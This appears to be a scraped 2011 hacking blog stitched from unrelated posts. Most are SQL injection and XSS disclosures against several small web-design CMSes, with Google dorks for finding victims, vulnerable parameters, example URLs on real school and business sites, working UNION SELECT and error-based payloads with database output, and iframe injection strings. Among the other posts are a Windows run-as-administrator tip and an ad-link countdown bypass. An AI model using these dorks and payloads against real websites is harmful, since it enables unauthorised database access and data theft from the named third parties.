Light & Shade Creative Studio web design multiple sql injections

Title : Light & Shade Creative Studio web design multiple sql injections
Found : 22 October 2011
Web   : http://www.lnsstudio.com/

[sql]
1 - articles-detail.php?aid=[sql]
2 - notice_detail.php?nid=[sql]
3 - photogallery.php?aid=[sql]
4 - alumni-details.php?batch=[sql]
5 - alumni_students.php?batch=[sql]
6 - more..

Examples :
http://www.fhss.edu.np/articles-detail.php?aid=9'
http://www.shangri-la.edu.np/notice_detail.php?nid=3'
http://www.ops.edu.np/notice_details.php?nid=17'

~/p0pc0rn/~

dreams & ideas web design multiple vulnerabilities

Title : dreams & ideas web design multiple vulnerabilities
Found : 22 October 2011
Web   : http://www.dreamsandideas.com

[sql]
1 - products.php?CatID=[sql]
2 - news_details.php?nid=[sql]
3 - success_story_details.php?sid=[sql]
4 - inside.php?id=[sql]
5 - contact.php?id=[sql]
6 - visaupdate_details.php?vid=[sql]
7 - products.php?BrandID=[sql]
8 - more..

Examples :

http://www.alfabetaedu.com/news_details.php?nid=31'
http://www.neoteric.com.np/products.php?BrandID=2'
http://www.cybersansar.com/article_list.php?pageno=1
POST frdate=2011-10-22&todate=2011-10-22&list_article=-Select-&keyword='&Submit=Submit
http://www.enasha.com/bnb_profile.php?pid=148'


[xss]

1 - search.php
2 - search_result.php?mk=

Examples :
http://www.afn.org.np/search.php
POST keyword=<iframe src=http://www.1337day.com />&search.x=0&search.y=0
http://www.enasha.com/search_result.php?mk=Toyota<iframe src=http://www.1337day.com />



~/p0pc0rn/~

Wargames.my Bonus Challenge Write-ups by kuehtiow

bonus challenge 1

http://goo.gl/dwfow

bonus challenge 2 
http://goo.gl/upTJs


thanks to kuehtiow the only solver for that challenge! 

Run the Application as Administrator Just by a Click!

How to Set Our Application to Always Running as Administrator in Windows 7
-----------------------------------------------------------------------------------------------------

1 - Right click to the application that you want to run as administrator and choose properties.Before that make sure you already set the shortcut for the application.
As example I created a cmd.exe shortcut at Desktop.I want to run cmd.exe as administrator just by a click after this.No need to right click,blalala..wasting my time!

2 - Go to Shortcut tab and choose Advanced.

3 - Tick "Run as Administrator",and DONE!

  

Before as Administrator

After as Administrator.Just by a click!

LASERnet CMS Vulnerable to SQL Injection

Title : LASERnet CMS  Vulnerable to SQL Injection
Vendor : http://cms.lasernet.gr/index.php?lang=en
Dork : intext:"Powered by Lasernet"
Category: WebApps

http://localhost.com/index.php?id=[SQL]

Demo:
http://localhost.com/index.php
?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+

thanks,
-p0pc0rn-

CarRentals CMS Vulnerable to SQL Injection

Title : CarRentals CMS Vulnerable to SQL Injection
Vendor : N/A
Dork : intext:"Powered by CarRentals CMS"
Category: WebApps

http://localhost.com/*.php?id=[SQL]

~/POC/~
-------

http://localhost.com/book-offer.php?offer_id=-1' /*!12345union*/ select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7,8,9,10,11--+

thanks,
-p0pc0rn-

Cambria Web Design Vulnerable to Multiple SQL Injection

Title : Cambria Web Design Vulnerable to Multiple SQL Injection
Vendor : http://www.cambria.com
Dork : intext:"Web Design by Cambria" filetype:asp
Dork2 : intext:"Custom software and Web Design by Cambria"
Category: WebApps

http://localhost.com/product_page.asp?ProductID=[SQL]&ProductCatID=[SQL]
http://localhost.com/pagecontent.asp?page=[SQL]
http://localhost.com/product_page.asp?Search=[SQL]
http://localhost.com/articles.asp?ArticleID=[SQL]


There are more parameters need to be checked.

~//POC//~

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

http://127.0.0.1/product_page_detail.asp?ProductID=1&ProductCatID=1'

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/product_page_detail.asp, line 78

-------------------------------------------------------------------------------------
http://127.0.0.1/product_page_detail.asp?ProductID=1&ProductCatID=1+or+1=convert(int,(@@version))

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to a column of data type int.

/product_page_detail.asp, line 78
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

- p0pc0rn -

shoma.net Web Design Vulnerable to Multiple SQL Injection

Title : shoma.net Web Design Vulnerable to Multiple SQL Injection
Website : http://www.shoma.net/
Dork : Developed by Shoma.net
Type : WebApps

http://localhost.com/SubNews.cfm?NewsID=[SQL]
http://localhost.com/details.cfm?TourID=[SQL]&categoryId=[SQL]
http://localhost.com/Hotellist.cfm?starID=[SQL]
http://localhost.com/index_show.asp?idbasic=[SQL]
http://localhost.com/index_view.asp?idrecipie=[SQL]

There are more parameters need to be checked.

#####
#POC#
#####

+++++++++++++++++++++++++++++++++++++++++++++++++++++++
http://127.0.0.1/Subnews.cfm?newsid=1'
Error Executing Database Query.
[Macromedia][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'newsId=1'''.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++

- p0pc0rn -

Infotrex Solutions Web Design Vulnerable to Multiple SQL Injections

Title : Infotrex Solutions Web Design Vulnerable to Multiple SQL Injections
Vendor: http://www.infotrex.net
Dork : intext:"Web Development by Infotrex Solutions"

+++++++++++++++++++++++++++++++
Microsoft Access Injection +
+++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 - http://www.site.com/details.asp?catid=[]&subcatid=[]&pid=[SQL] +
2 - http://www.site.com/news.asp?action=read&nID=[SQL] +
3 - http://www.site.com/product.asp?catid=[SQL] +
4 - http://www.site.com/contents.asp?id=[SQL] +
5 - http://www.site.com/details.asp?pid=[SQL] +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Thanks,
p0pc0rn

4shared Downloader

How to use?

1 - Make sure you have an account in 4shared.com..just a free account :)
2 - Login into your account

3 - Open command prompt and just run this python script :)

Usage : 4shared.py Url

4 - It will open the download link from your browser and just click save

Here's the script

http://pastebin.com/2eDsyjm9

Adf.ly Bypass

Hate to waiting even 5 secs?
Want to bypass the waiting time?
Its easy
As example you want to download this

http://adf.ly/1wuNc

Go to the link,and at the url bar type this

javascript:showSkip();

The countdown will be skipped and you can download directly get the real link :)